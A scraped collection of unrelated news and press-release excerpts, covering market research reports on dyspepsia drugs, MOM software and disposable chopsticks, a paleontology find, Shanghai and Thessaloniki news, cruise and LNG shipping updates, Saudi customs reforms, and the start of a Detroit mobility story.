for the Global Dyspepsia Market are AstraZeneca, GlaxoSmithKline, Takeda Pharmaceutical Company, Johnson & Johnson, Eisai Co., Ltd., Abbott Laboratories, Salix Pharmaceuticals, Bayer AG, Boehringer Ingelheim GmbH, Sanofi, Allergan Plc, and others. Segmentation The global dyspepsia market is segmented on the basis of diagnosis, treatment, and end-user. The dyspepsia market, by diagnosis, is sub-segmented into blood tests, breath tests, stool tests, endoscopy, X-ray, CT scan, and others. On the basis of treatment, the market is categorized into antacids, antibiotics, h2 blockers, proton pump inhibitors (PPIs), prokinetics, psychological therapies and others. Antacids are further sub-segmented into calcium carbonate, loperamide, simethicone, sodium bicarbonate and others. Antibiotics further sub-segmented into amoxicillin, clarithromycin, metronidazole, and others. H2 blockers are further categorized into cimetidine, famotidine, nizatidine, ranitidine, and others. Proton pump inhibitors (PPIs) is further segmented into esomeprazole, lansoprazole, and omeprazole. Prokinetics are categorized into bethanechol and metoclopramide. On the basis of end-user, the market is segmented into hospitals and clinics, ambulatory surgical centers, pharmacies, diagnostic centers and others. On the basis of region, the global dyspepsia market is segmented into the Americas, Europe, Asia-Pacific, and the Middle East and Africa. The Americas is sub-segmented into North America and South America. The North American region is further segmented into the U.S. and Canada. The European region is divided into two, namely, Western Europe and Eastern Europe. Western Europe is further classified into Germany, Italy, France, the U.K., Spain, and the rest of Western Europe. The Asia-Pacific region is sub-segmented into Japan, China, India, Australia, the Republic of Korea, and the rest of Asia-Pacific. The Middle Eastern and African region is sub-segmented into the United Arab Emirates, Saudi Arabia, Oman, Kuwait, Qatar, and the rest of the Middle East and Africa. Regional Analysis The dyspepsia market is dominated by North America owing to rising prevalence of ulcerative colitis. Ulcerative Colitis causes inflammation of the digestive tract which may lead to dyspepsia. According to the Centers for Disease Control and Prevention in 2015, 3 million people suffered from ulcerative colitis. Also, the increased adoption of technologically advanced devices and the high amount of healthcare expenditure drives the market growth in this region. It is estimated that Europe stood second in the global dyspepsia market. Thus, increasing prevalence of chronic digestive disease in Europe contributes to market growth. According to the United European Gastroenterology report published in 2018, 365,000 deaths in Europe were due to digestive cancers. Also, rising healthcare expenditure and R&D activities are driving the growth of this market in Europe. Asia-Pacific was projected to be the fastest growing region for the global dyspepsia market. Key factors such as rising number of patient population, increase in the adoption of minimally invasive surgeries, and rapid rise in endoscopy for the diagnosis and treatment of digestive diseases, influences the market in this region. Also, the rising medical tourism in countries like Malaysia, India, and Thailand drives market growth in this region. The Middle East and Africa holds the least share of the global dyspepsia market due to the presence of stringent government policies and poor economies. However, increasing investment by private market players and growing government initiatives in this region can boost the market growth. Browse Complete 100 Pages Premium Research Report Enabled with 80 Respective Tables and Figures @ https://www.marketresearchfuture.com/reports/dyspepsia-market-6351 Detailed Table of Contents Chapter 1. Report Prologue Chapter 2. Market Introduction 2.1 Definition 2.2 Scope Of The Study 2.2.1 Research Objective 2.2.2 Assumptions 2.2.3 Limitations Chapter 3. Research Methodology 3.1 Introduction 3.2 Primary Research 3.3 Secondary Research 3.4 Market Size Estimation Chapter 4. Market Dynamics 4.1 Drivers 4.2 Restrains 4.3 Opportunities 4.4 Challenges 4.5 Macroeconomic Indicators 4.6 Technology Trends & Assessment Chapter 5. Market Factor Analysis 5.1 Porters Five Forces Analysis 5.1.1 Bargaining Power Of Suppliers 5.1.2 Bargaining Power Of Buyers 5.1.3 Threat Of New Entrants 5.1.4 Threat Of Substitutes 5.1.5 Intensity Of Rivalry Send An Enquiry @ https://www.marketresearchfuture.com/enquiry/6351 About Market Research Future Market Research Future (MRFR), enable customers to unravel the complexity of various industries through Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. Albany, NY -- (SBWIRE) -- 12/19/2018 -- According to a new market report published by Transparency Market Research,the global Manufacturing Operations Management (MOM) software market was valued at US$6,376.1 Mn in 2016 and is expected to expand at a CAGR of 9.6% from 2018 to 2026, reaching US$ 15,554.0 Mn by the end of the forecast period. According to the report, the global Manufacturing Operations Management (MOM) software market will continue to be influenced by a range of macroeconomic and industry-specific factors. Asia Pacific will continue to be at the forefront of global demand, with the market in the region growing at CAGR of about 10.4% throughout the forecast period. Surge in Demand for Paperless Manufacturing is Drivingthe Market The global manufacturing operations management software market is majorly driven due to rising adoption of paperless technology in manufacturing industry. Paperless manufacturing refers to the use of software-based electronic systems to monitor and enforce manufacturing production processes, while capturing all information associated with production records. Traditional paper-based record keeping systems are highly prone to human error. Implementation of advanced software-based solutions such as MOM software is increasing in order to overcome these errors. Moreover, MOM software plays a vital role in integrating information systems on the shop floor with business systems in the corporate office, leading to a gradual phasing out of traditional paper-based systems.In addition, MOM software is also capable of integrating information from multiple plant or factory locations, enabling manufacturers to make faster, better, and more rational decisions.Manufacturing companies are beginning to recognize the value of eliminating paper and moving toward digital systems. Thus transition toward software-based, paperless manufacturing is likely to drive the manufacturing operationsmanagement software market in the near future. Manufacturing Operations Management (MOM) Software Market: Scope of the Report Manufacturing Operations Management (MOM) software market is segmented based oncomponent, functionality, enterprise size, industry, and region. By component, the market is segmented into software and professional services. Software segment is further bifurcated into on-premise and cloud-based. Professional services include consulting, integration, and maintenance. Based on functionality, the global MOM software market is segmented into inventory management, labor management, manufacturing execution system, process & production intelligence, quality process management, and others. By enterprise size, the market is segmented into small & medium size enterprises and large enterprises. On the basis of industry, the global MOM software market is bifurcated into automotive, chemical, healthcare & pharmaceuticals, food & beverages, consumer goods, aerospace & defense, industrial equipment, and others. Request PDF Sample - https://www.transparencymarketresearch.com/sample/sample.php?flag=S&rep_id=52098 In terms of region, North America is expected to be the largest MOM software market over the forecast period due to extensive investment done by regional governments and prominent players across the region for technological development in the manufacturing industry. Europe is also one of the prominent MOM software market revenue contributors. This is mainly attributed to increasing use of industry 4.0 technology in manufacturing processes in this region, which leads to improved productivity with better speed of work. Stringent government regulations are one of the major factors contributing to the growth of the MOM software market in Europe. Furthermore, European governments are taking various initiatives to implement different technologies to enhance the manufacturing sector.Asia Pacific region is expected to expand at the highest CAGR among all the regions. This is mainly due to increasing industrialization among countries in this region. Markets such as China, Thailand, Indonesia, and even developing Southeast Asian markets such as Myanmar and Laos have a significant proportion of GDP contribution from the manufacturing sector.Among all the countries across Asia Pacific, China has long been the default choice for digitalizing the manufacturing sector.MOM software is expected to grow significantly in Middle East & Africa and South America due to increasing number of enterprises. Rockville, MD -- (SBWIRE) -- 12/20/2018 -- The global market for one-off chopsticks has been expanding at a robust rate on account of the acceptance of regional food trends across the globe. Chopsticks were historically used in China, Korea, Singapore, Malaysia, Vietnam, and Laos, and are still an important part of the food habits of the people in these countries. However, due to the growth of globalization, food cultures and habits have also pervaded across the length and breadth of the globe. Owing to this factor, the global demand for one-off chopsticks has escalated by leaps and bounds in recent times, and is expected to further increase over the forthcoming years. One-off chopsticks are joined together at one end for the ease of handling them, and this form of chopsticks has been acquired across the food industry of several regions. Furthermore, these chopsticks are easy to store and transport as there are no hassles of keeping the pairs intact. A report by FactMR predicts the growth graph of the global market for one-off chopsticks over the forthcoming years. The report analyses the external forces operating in the global market and equilibrates them with the intrinsic factors of the market. Since the market for one-off chopsticks is closely related to the food industry, the report also analyses the later to get a holistic view of the market. Request Brochure Copy of the Report @ https://www.factmr.com/connectus/sample?flag=B&rep_id=417 Popularity of Chinese Cuisines Bolsters Market Demand The last decade has witnessed an increasing popularity of Chinese cuisines across the globe, so much so, that there is an influx of Chinese restaurants and food kiosks in several countries. The popularity of Chinese cuisines has directly contributed towards the growth of the global market for one-off chopsticks and has created tremendous opportunities for market vendors. Furthermore, the convenience and ease of eating with one-off chopsticks as against separate chopsticks has also led to the growth of the global market. One-off chopsticks are usually made of wood or bamboo, and hence, they can be easily recycled. This is another key standpoint for the growth of the global one-off chopsticks market in the contemporary times. As people become increasingly aware of the usage of chopsticks, the demand within the global market is expected to experience an uptick. Ask For Customized Report @ https://www.factmr.com/connectus/sample?flag=RC&rep_id=417 Efforts to Prevent Deforestation to Hamper Market Growth Since one-off chopsticks are usually made of wood, large amounts of forest wood is used up in producing them. The recent awakening of governments as well as the masses towards the ill-effects of deforestation has resulted in bans on the use of forest wood for manufacturing one-off chopsticks. This is expected to be a setback for the global market for one-off chopsticks, and may create hindrances for the growth of market players. Furthermore, the high costs of chopsticks made of stainless steel are also a restraint to the growth of the global market. Plastic chopsticks, on the other hand, are not preferred due to the environmental degradation caused by these chopsticks. Nevertheless, the promotion and marketing efforts of the food industry is expected to give a push to the growth of the global one-off chopsticks market. Some of the key players in the global market for one-off chopsticks are Pacific East Company, Nanchang Sanyou Industrial Co. Ltd., and Ngoc Chau Enterprise Pte. Report Analysis at https://www.factmr.com/report/417/one-off-chopsticks-market About Fact.MR Fact.MR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports. Contact Us FactMR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Email: sales@factmr.com Web: www.factmr.com/ In a paper in the journal PeerJ, paleontologists report finding a shark tooth embedded in an 80-million-year-old cervical vertebra of the large flying reptile called Pteranodon. In the Late Cretaceous epoch, North America was divided by a giant waterway called the Western Interior Seaway. It was a biologically prolific region from the Gulf of Mexico to Canada. Some of the worlds best fossils from this time are found here, including the Smoky Hill Chalk region of Kansas, where the newly-described fossil was found. The specimen was excavated in the 1960s and kept in the Los Angeles County Natural History Museum before University of Southern Californias Dr. Michael Habib and colleagues plucked it from a display for further study. The scientists were intrigued by the embedded shark tooth because of more than 1,100 specimens of Pteranodon, a large pterodactyloid pterosaur from the Late Cretaceous of North America, only seven (or less than 1%) show evidence of predator-prey interaction. Pteranodons were masters of the sky. These gigantic flying reptiles abounded when dinosaurs walked the Earth. They ported a conspicuous crested skull, had a wingspan of 18 feet (5.5 m) and weighed about 100 pounds (45 kg). They could travel long distances, land and take off in water and had a fancy for fish. But Cretaceous oceans were a dangerous place to linger. Under the waves lurked big, flesh-eating reptiles and sharks. But which sea monster killed it? How did it happen? And why was the neck bone intact? First, the paleontologists had to rule out that the shark tooth, about 1 inch (2.5 cm) long, wasnt randomly stuck to the Pteranodon vertebra; perhaps had both been deposited in a prehistoric boneyard at the same time. They found that the tooth was stuck between ridges in the neck vertebrae, which was clear evidence of a bite. The tooth belonged to a large mackerel shark called Cretoxyrhina mantelli. This particular predator was large, fast and powerful, about 8 feet (2.4 m) long and roughly comparable in appearance and behavior to todays great white shark, though its not closely related. Second, the team wondered why the evidence of attack was preserved at all. Typically, heavy shark bites utterly shattered pterosaur bones, leaving little trace. In this instance, the tooth just happened to get stuck on a particularly bony part of the neck, which led to the fortuitous fossil. Such a fossil discovery is so rare that this is the first documented occurrence of this shark species interacting with a pterosaur. Third, while the researchers may never know exactly what happened, its possible the attack occurred when the Pteranodon was most vulnerable, sprawled atop the water. While Pteranodon could land and take off on water, they were ungainly at sea and took considerable time to take off. Understanding the ecology of these animals is important to understanding life on Earth through time, Dr. Habib said. Are there sharks today that hunt seabirds? Yes, there are. Is that unique or have big sharks been hunting flying creatures for millions of years? The answer is yes, they have. We now know sharks were hunting flying animals as long ago as 80 million years. _____ D.W.E. Hone et al. 2018. Evidence for the Cretaceous shark Cretoxyrhina mantelli feeding on the pterosaur Pteranodon from the Niobrara Formation. PeerJ 6: e6031; doi: 10.7717/peerj.6031 Chinese artist's sculptures decorate Greek Thessaloniki port From:Xinhua | 2018-12-19 10:29 Sculptures by Chinese artist Xu Hongfei are seen in an open-air show at the port city of Thessaloniki, Greece, on Dec. 18, 2018. Chinese artist Xu Hongfei, president of the Guangzhou Sculpture Academy, presented 15 of his sculptures of female figures to the port city of Thessaloniki in northern Greece, as part of a global tour of his exhibition. (Xinhua/Dimitris Tosidis) THESSALONIKI, Greece, Dec. 18 (Xinhua) -- Chinese artist Xu Hongfei, president of the Guangzhou Sculpture Academy, "introduced" 15 of his sculptures of female figures to the port city of Thessaloniki in northern Greece, as part of a global tour of his exhibition. The inauguration of the open-air show on Tuesday was carried out by the Union of Chinese Traders in Greece and the Municipality of Thessaloniki. Five sculptures of his curvy women were placed behind the Royal Theatre which hosts the National Theatre of Northern Greece, and another 10 in Pier A of Thessaloniki Port Authority. They will remain in the Greek city until Dec. 24. The aim of the event, according to the organizers, was to present Thessaloniki and Guangzhou, the capital and most populous city of the province of Guangdong in southern China, to the world, combining Chinese art and the unique charm of Greek civilization in order to enhance communication and cooperation between them. "Thessaloniki is the 30th stop of my word tour. Greece is also the birthplace of western art, a country I always dreamed of visiting. Guangzhou and Thessaloniki have a long distance between them, yet the first is one of the main cultural centers in Greece and the other is the birthplace of the Cantonese culture. Both cities have a long history and a rich culture. I wish this exhibition would be the meeting point of these two cities under this intense artistic atmosphere," Xu said in his greeting during the opening ceremony. The Chinese artist who explores the female figure drawing inspiration from the lives of ordinary women in China, as he has said, has exhibited his works from Australia and the United States to Italy and Colombia. "Those of us who have studied Sculpture Art have always admired the Greek sculpture, the ancient statues and especially Aphrodite of Milos, and I am glad that I could bring my chubby women to the birthplace of Aphrodite," he told Xinhua. "We are very happy to have some samples of Chinese art at the most iconic place of Thessaloniki, next to the White Tower monument. Many people will have the pleasure of visiting and admiring them, and this is the best way to deepen relations between Greece and China in the culture," Deputy Regional Governor for Culture and Tourism, Alexandros Thanos, noted in his speech. 1 2 3 4 5 Next 1 2 3 4 5 Next Chongming is in line for planned Metro extension From:Shine | 2018-12-20 03:29 The Shanghai Metro is being extended to Chongming Island. The National Development and Reform Commission has approved the 2018-2023 construction planning of the citys Metro network. The Chongming Line is included in the plan, along with planning for another eight lines. The Chongming Line will run between Jinji Road Station in the Pudong New Area and Yuan Road in Chongmings Chenjia Town, covering 44.6 kilometers and eight stations. The construction is scheduled to take five years. TheChongming Line train will have 10 carriages with a speed limit of 100 kilometers per hour. But Shanghai Shentong Metro Group, the citys subway operator, said that although the plan has been approved, the exact date of the start of construction is still being discussed. The stations and model of train are not finalized either. Plans were made for a Metro line under the Shanghai Yangtze River Tunnel while it was built, an official from the Metro operator said yesterday. But that was more than 10 years ago, we may have to reevaluate its feasibility. Chongming residents have been expecting a Metro line for more than a decade. Shi Yuhua wasborn in Chongming but lives downtown. She goes back to the island every few weeks. Shi mostly drives its often 70 minutes if the traffic conditions are good. But the Xiangyin Road Tunnel and the expressway near the toll station on Changxing Island to Chongming often jam up. I was once stuck in the traffic flow near the toll for an hour, said Shi. Yet my car only moved about 2 or 3 kilometers. Apart from the traffic jams, the speed limit on the Yangtze River Bridge is set at 80 kilometers per hour. I would definitely take the Metro after its completed, said Shi. Driving is expensive if you consider the gasoline and toll fees. It is also exhausting. Yang Xin, a student whose campus is inChenjia Town, shuttles between downtown and the island every week. Every Sunday, she takes a bus at Wenshui Road transportation hub. It takes her about an hour to get to Chenjia Town. The bus leaves the hub every 15 minutes and if it is fully occupied Ill have to wait for another one because the bus does not allow passengers to stand for safety considerations, Yang said. Zhu Jie, a Chongming native who now lives in Jingan District, said that asChongming is the third-largest island in China, one Metro line may not be enough. Zhus parents still live in Xinhai Town in the northwest of the island. The Metro line will undoubtedly help people in the east of the island, Zhu said. Especially with the B&B business on the rise. But Zhu said his parents place is another 90 minutes drive from the planned Metro station. He said he would still drive or take the ferry. It usually takes four hours for a round trip, said Zhu. Apart from the Chongming Line, the other eight lines of the plan are Line 19, 20, 21, 23, the extensions of Line 1 and 13, the Airport Line and the Jiading-Minhang Line. Metro Line 19, from Hongjian Road Station to Baoyang Road Station, will cover 44.5 kilometers and 32 stations. Line 20, from Jinchang Road Station to Shanghai Gongqing Forest Park Station, will cover 19.8 kilometers and 16 stations. Line 21, from Chuansha Road Station to Dongjing Road Station, will cover 28 kilometers and 16 stations. Line 23, from Minhang Development Zone Station to Shanghai Stadium Station, will cover 28 kilometers and 22 stations. The west extension of Line 13, from Jinyun Road Station to Zhuguang Road Station, will cover 9.8 kilometers and five stations. The west extension of Line 1 will be an extra station on Humin Road which passengers can transfer to the Jiading-Minhang Line. The Airport Line, from Shanghai Hongqiao Transport Hub to Shanghai East Railway Station which is still under construction now near the Pudong International Airport, will cover 68.6 kilometers and nine stations. The Jiading-Minhang Line, from North Jiading Station to North Xinzhuang Station, will cover 41.6 kilometers and 15 stations. The construction of these lines are expected to take five to six years and is planned to start before 2023. After completion, there will be 27 Metro lines covering 1,154 kilometers, including Line 14, 15 and 18 under construction, in Shanghai. Currently, the city has 17 lines adding up to 673 kilometers. According to the NDRC, Shanghai Metro network will cover 1,642 kilometers in total by 2030 and more than 2,000 kilometers by 2035. Procuratorates succeed in public interest litigation From:Shanghai Daily | 2018-12-20 08:29 The civil public interest litigation system appears to be working. The new way for procuratorates to protect the environment and resources came into effect in Shanghai in July 2017, giving procuratorates the power to represent their jurisdictions in actions against groups or individuals who may be acting against the interests of residents. According to a report released by Shanghai procuratorate yesterday, a total of 295 civil public interest litigation cases have been put on record and investigated since the power was granted. Among them, 148 were related to the environment or resource protection. Litigation has been instigated in eight of the 148 cases. Over 8.6 million yuan (US$1.25 million) in fines and compensation had been collected. Over 7,600 tons of illegally dumped household garbage was cleaned up. The system strengthened our procuratorates and enhanced cooperation between them and executive authorities, said Lin Yiming, deputy director of Shanghai procuratorate civil administration office. In a recent case, Xuhui District procuratorate found a dental clinic operating illegally. The clinics business license had expired in 2006. As the clinic had not advertised itself since then, it had not been noticed by the local authority for 12 years. The clinic had no authorized sewage or medical waste discharge systems. Its disinfection equipment failed to meet standards. The building where the clinic was located was designated for residential use only. On November 7, the procuratorate suggested the local executive authority stop the operations of the clinic and confiscate its facilities and profits. In another case in Chongming District, some water authorities were found to be neglecting their duties. In August, Chongming District Peoples Procuratorate presented pre-litigation suggestions to towns and villages at fault. All towns and villages involved managed to give feedback and make treatment plans by September 7. According to a follow-up inspection, water quality in the 10 rivers concerned has since largely improved. It is not just about the environment and resource protection. Public interest cases are being raised in food and drug safety, illegal occupations of state land and concerns over state-owned property. Procuratorates always welcome information from citizens that helps them supervise executive authorities. Vancouver round-trips, San Francisco getaway The expanded 2020 program will offer 10 round-trip voyages from Vancouver, BC, ranging from nine to 12 nights, and one getaway cruise to San Francisco for an overnight stay on Independence Day. 'Due to strong demand and passenger feedback, Cunard has more than doubled its voyages in Alaska, visiting the most incredible cities with longer time in port to enjoy this inspiring destination,' said Josh Leibowitz, SVP Cunard North America. Skagway, Juneau, Ketchikan and Sitka are among the destinations. In addition, the voyages offer scenic cruising in the narrow waterways of the Inside Passage, to Hubbard Glacier and Sawyer Glaciers twin fjords, Tracy Arm and Endicott Arm. Voyage combinations are available, including the Alaska round-trips, Independence Day cruise and the North Pacific crossings from Yokohama or to Tokyo. Among the cruises is a 10-night round-trip from Vancouver on June 2, with fares starting at $1,599 and the July 2-5 Independence Day celebration from Vancouver to San Francisco with an overnight there, priced starting at $599. The 16-night San Francisco to Vancouver voyage departing July 5 begins at $2,659, while the 29-night Vancouver to Tokyo sailing on Aug. 29 is priced from $4,459. Recent ship update Queen Elizabeth, the youngest ship in the fleet, just emerged from a refit in November that included the launch of a new spa concept, Mareel Wellness & Beauty, developed in partnership with Canyon Ranch. Many other public spaces, bars and lounges were updated and all Grill Suites and Britannia staterooms have new carpets and soft furnishings. The Royal Court Theatre got a complete technical overhaul, the Royal Arcade shopping experience was elevated and the outdoor decks have new furniture with a new layout on the Sun Deck. Rocky Mountaineer Cunard continues its partnership with Rocky Mountaineer to offer pre- and post-cruise tours on the famous railroad traveling through the spectacular Canadian Rockies. Tours include three- to five-nights accommodation plus two full days aboard the train. A three-night pre-cruise tour of Vancouver and Whistler highlights takes in Vancouver higlights including Grouse Mountain and Stanley Park, with a full day in Whistler and Shannon Falls via the Sea-to-Sky Corridor. Early booking offers Travelers who book Britannia accommodations on voyages of at least seven nights by Feb. 28, 2019, will receive free on-board credit up to $600 per stateroom, and third and fourth travelers in the same room will pay only $100 per person. Those booking Grill Suite accommodations by Feb. 28 will receive on-board credit up to $2,000 per stateroom, a free drinks package and free gratuities. Third and fourth travelers in the same stateroom pay only $500 per person. The company operates three tall ships and sails in the Caribbean, Mediterranean and South East Asia, in addition to trans Atlantic crossings when the ships relocate in spring and autumn each year. Royal Clipper will again be sailing in the west Mediterranean during summer 2020, with itineraries from Venice to Rome (Civitavecchia), visiting Slovenia, Croatia, Montenegro, Greece and Italys islands and coastline. The two smaller sister ships, Star Flyer and Star Clipper, will be in the eastern Mediterranean and South East Asia for summer 2020. Star Flyer will be calling into the Greek islands and Turkey. Star Clipper will again be sailing in Indonesia, Thailand and Malaysia, making many new port calls. Cambodia new for 2020 New for 2020 include sailing voyages aboard Star Clipper taking in Cambodia where the new port calls are Koh Rong, a wildlife paradise with dense forests, ringed by 61km of paradise beaches, and Sihanoukville, a coastal city with an almost uninterrupted string of beaches. An optional, overnight excursion will be available for passengers wishing to visit the temple complex of Angkor Wat. Mikael Krafft, Star Clippers owner & president, said We have a very loyal customer base with around 64% of guests sailing with us twice or more. Fortunately, due to the ships relatively shallow draft, we are able to drop anchor in ports and harbours inaccessible to large cruise ships, enabling us to continually vary our itineraries. Summer 2020 looks to be another exciting sailing season for us, We are already taking bookings and the new destinations are likely to sell out first. Star Clippers has a new ship Flying Clipper under construction at Brodosplit in Croatia which has been delayed until 2019 delivery. The Taino will soon join sister ship El Coqui, which was delivered in July in serving the route between Jacksonville, Fla., and San Juan, Puerto Rico. It marks the final chapter in construction of Crowleys $550m investment in the two newly built, Commitment Class ships and associated port upgrades. The resulting ships and port facilities have elevated the companys Puerto Rico supply chain services to world-class standards as a new era begins in the companys longtime logistics services for the island. Taino, like El Coqui, will be operated by Crowleys global ship management group. She is scheduled to make her maiden voyage to San Juan on January 8, from her dedicated US mainland port in Jacksonville, JAXPORT. The new Crowley ships, built specifically for the Puerto Rico trade, are 219.5 metres, 26,500 dwt, and can transport up to 2,400 teu at a cruising speed of 22 knots. A wide range of container sizes and types can be accommodated, including 53-foot by 102-inch-wide, high-capacity containers, up to 300 refrigerated containers, and a mix of about 400 cars and larger vehicles in the enclosed and ventilated ro-ro decks. Read more: Containerships takes delivery of first LNG-powered newbuild From a business standpoint, Taino and El Coqui are key components of our integrated logistics offerings that are bringing speed to market and creating a competitive advantage for our customers in Puerto Rico and the Caribbean, Crowley said. With our own vessels and proprietary transportation and distribution network, were reducing friction and complexity while increasing the velocity of customers goods moving to market and reducing their landed costs. VT Halter Marine is proud to be part of the Crowley Commitment Class project, said VT Halter Marine president and ceo Ron Baczkowski. Fueling the ships with LNG reduces emissions significantly, including a 100% reduction in sulphur oxide (SOx) and particulate matter (PM); a 92% reduction in nitrogen oxide (NOx); and a reduction of carbon dioxide (CO2) of more than 35% per container, compared with current fossil fuels. Working with Eagle LNG Partners, the ships are bunkered from a shoreside fuel depot at JAXPORT. Read more: LNG bunkering becoming a global phenomenon The companys Isla Grande terminal had been upgraded including a new 900-foot-long, 114-foot-wide concrete pier and associated dredging needed to accommodate the two new ships; three new ship-to-shore gantry cranes; and other expansion works. The deal is a 20-year sale-and-purchase agreement for LNG from the Port Arthur LNG liquefaction-export facility under development in Jefferson County, Texas. This agreement with PGNiG represents an important expansion of our portfolio of contracts for LNG exports and major step forward in the development of our Port Arthur LNG project. Last month, we began the commissioning phase of our Cameron LNG liquefaction-export facility in Louisiana, said Jeffrey W. Martin, chairman and ceo of Sempra Energy. Piotr Wozniak, president of the management board of PGNiG, commented: Another long-term contract not only allows us to develop LNG portfolio with a view to delivering to Poland, but it gives us, in the near future, the possibility of trading in LNG purchased on a global scale. Read more: Positive outlook for LNG Shipping Under the agreement, LNG purchases from Port Arthur LNG will be made on a free-on-board basis, with PGNiG responsible for shipping the LNG. Port Arthur LNG will manage gas pipeline transportation, liquefaction processing and cargo loading, giving PGNiG flexibility in cargo management. The Port Arthur LNG liquefaction-export facility in Jefferson County is proposed to include two natural gas liquefaction trains capable of processing approximately 11mtpa of LNG, up to three LNG storage tanks, two marine berths, and associated facilities. The liquefaction-export facility is expected to receive its final environmental impact statement from the Federal Energy Regulatory Commission next month. The company is to sell 53.01% stakes of Shanhaiguan Shipbuilding Industry and 67% stake of Qingdao Wuchang Shipbuilding Industry. The assessed equity value of the stakes is RMB1.189bn. The depressed offshore engineering market brought about sustained losses to the company. In 2017, the overall deficit from offshore engineering arms of CSICL was RMB7.69bn. Shanhaiguan Shipbuilding Industry and Qingdao Wuchang Shipbuilding had suffered great losses in recent years, which caused negative impact on the companys profitability. The offshore engineering assets disposal will help the company to reduce its financial burden, stated CSICL. Once the transaction is completed, the company will focus on naval ship design and construction. Authorised by State Asset Supervision and Administration Commission in 2018, China Shipbuilding Industry Co., ltd (CSICL) was jointly established by CSIC, Anshan Steel Group Corporation and China Aerospace Science And Technology Corporation. The five business sectors of the company cover shipbuilding, ship equipment, ship repair, offshore engineering, energy and transportation equipment. Shell Tankers (Singapore) Pte Ltd (STSL) has signed separate agreements to charter four LNG carriers from Greek shipowner TMS Cardiff Gas and two from Russian owner Sovcomflot. All six vessels will be 174,000 cu m and powered by XDF propulsion and join Shells time chartered fleet. Read more: MEGI or XDF propulsion - the Betamax vs VHS of LNG shipping Grahaeme Henderson, vice president of Shell Shipping & Maritime, said: We are pleased to have signed these agreements with leading companies such as Sovcomflot and TMS Cardiff Gas Limited. These high technology vessels will give Shells trading businesses added flexibility in safely and reliably delivering LNG to our customers around the world. On the back of the time charters TMS Cardiff Gas said it had contracted Hyundai Heavy Industries and Samsung Heavy Industries to build four 174,000 cu m LNG carriers for delivery in 2020 and 2021 when they will start the contracts with Shell. The vessels will be the latest addition to the shipowners X Series of LNG carriers bringing the fleet size to 11. Read more: TMS Cardiff Gas orders one + one LNG carriers from HHI Christos Economou, founder of TMS Cardiff Gas, commented: We are delighted to have agreed the charter of four new X Carrier Series of LNG ships to Shell. Shell is a very important customer in our expanding LNG Shipping business. Sovcomflot will also be providing two newbuildings for the contract with Shell. Evgeniy Ambrosov, senior executive vice president of Sovcomflot, said: We are delighted to extend our long-standing partnership with Shell. These two LNG carrier newbuildings and associated charters acknowledge our record of providing high quality, safe and sustainable LNG shipping services, using technologically advanced vessels and employing highly experienced crews. This plan forms the fulcrum of Vision 2030, an ambitious programme that seeks to completely transform the economy of the country, and drastically reduce its dependence on crude oil exports. Arguably the most important measure taken by the Saudi authorities to facilitate trade is the promise of a 24-hour Customs clearance for incoming cargo, a process that used to take anything from ten to 14 days, and result in uncertainty and angst for both shippers and consignees. The two pillars of Saudi Customs have always been security and revenue; we introduced the term trade facilitation two years ago, says Faisal S Albedah, Deputy Governor for Trade Facilitation at Saudi Customs, a government arm that has been revitalised by its youthful governor, Ahmed Alhakbani. We convinced our people to accept the concept of e-filing of documents for Customs clearance even before the docking of the vessel. We cleared their major doubt: How can I clear something I cannot see? Today, they are proud of what they have been able to achieve in such a short time. Learn more about the Saudi Arabia's ambitous plans at the Saudi Maritime Congress 2019 Customs launched and implemented various initiatives that adopt and implement groundbreaking technologies and innovative practices aimed at enhancing the business environment, increasing the competitiveness of the Saudi market, and attracting international investment in cooperation with its partners. Our transformation journey had a positive impact in raising the Kingdoms GCI ranking for the first time since 2012, says Alhakbani. Our strategy included 41 initiatives that cover the pillars of Customs work across all land, sea, and air ports. Alhakbani outlines the various efforts made by Saudi Customs over the past two years to improve the competitiveness of the business environment and facilitate logistical procedures that are a key enabler to enhancing trade facilitation and customer centricity. Saudi Customs have succeeded in the clearance of more than 80% of Customs declarations within 24 hours, on average, through pre-clearance procedures, technology enhancement efforts and the digitisation of most Customs operations, he says. Fasah, the electronic national system for import and export that was launched as a joint effort of 25 government entities, achieved a positive outcome in the clearance procedure, by enabling companies to track and complete their clearance procedures electronically, and contributed in decreasing the number of documents required for cargo clearance. Albedah highlights the importance of the Authorised Economic Operator Program (AEO) that has enhanced the business environment and further facilitated Customs procedures. Through reducing the number of documents needed for import and export, and activating the pre-arrival electronic submission, the Customs procedures and mechanisms have been greatly enhanced, he says. Albedah explains that local exporters have also been allowed to use the Customs bonding zone for storage purposes, in line with trade facilitation procedures. A new Customs clearance practice guide, which authorised companies to issue Customs clearance licenses, has been put in place. The guide includes several amendments that aim at contributing to monitoring Customs imports and exports clearance activities, reducing Customs violations, and addressing possible operational disputes. It must be appreciated that Saudi Arabia has the biggest port network in the Middle East of nine ports, compared to just four in 1976; and is currently undergoing further major expansion, in line with Vision 2030 and its efforts to becoming a logistics hub. The government is undertaking a multitude of investments in transportation infrastructure, with new projects such as the Saudi Rail-Roads Expansion, the East-to-West Land Bridge, substantial investments from the private sector e.g. Jeddah Islamic Port and Dammam Port upgrades, and the new economic cities. Shavon Edwards co-organized a Detroit meeting of Untokening, a grass-roots organization focused on mobility equity. Photo courtesy of Shavon Edwards. Two of the designs that resulted from the project will be featured in an upcoming exhibit at the Smithsonian Design Museum entitled The Road Ahead: Reimagining Mobility. One design project suggested utilizing vehicles, bus stops, or even buildings as a kind of community billboard system to communicate neighborhood-relevant news. Untokening Detroit met on November 11 to strategize mobility solutions and celebrate Detroit's advances in the space. Photo courtesy of Untokening Detroit. Growing up in the city of Detroit and the metro Detroit area, Shavon Edwards had the privilege of always having access to at least one family car. But the experiences of her relatives on the city's East side showed her from a young age that getting around the city wasn't so easy for all Detroiters."My granny is deep East, off of Houston Whittier," Edwards says. "She needs to get to appointments very frequently, like going to the doctor. If she doesn't have a ride, she pretty much can't get there. A church member or a family member or one of her friends needs to take her. It's not as accessible for her to take the bus because ... that could take a couple hours. Because she's older, and especially as it gets cold outside, that's not always the ideal way to get where she needs to go."That's inspired Edwards to join the numerous Detroit individuals and organizations working to improve access to mobility for all Detroiters. In early November Edwards co-organized a Detroit convening for The Untokening , a national collective that aims to center marginalized people's voices in advancing mobility equity.Edwards, who works as a mobility 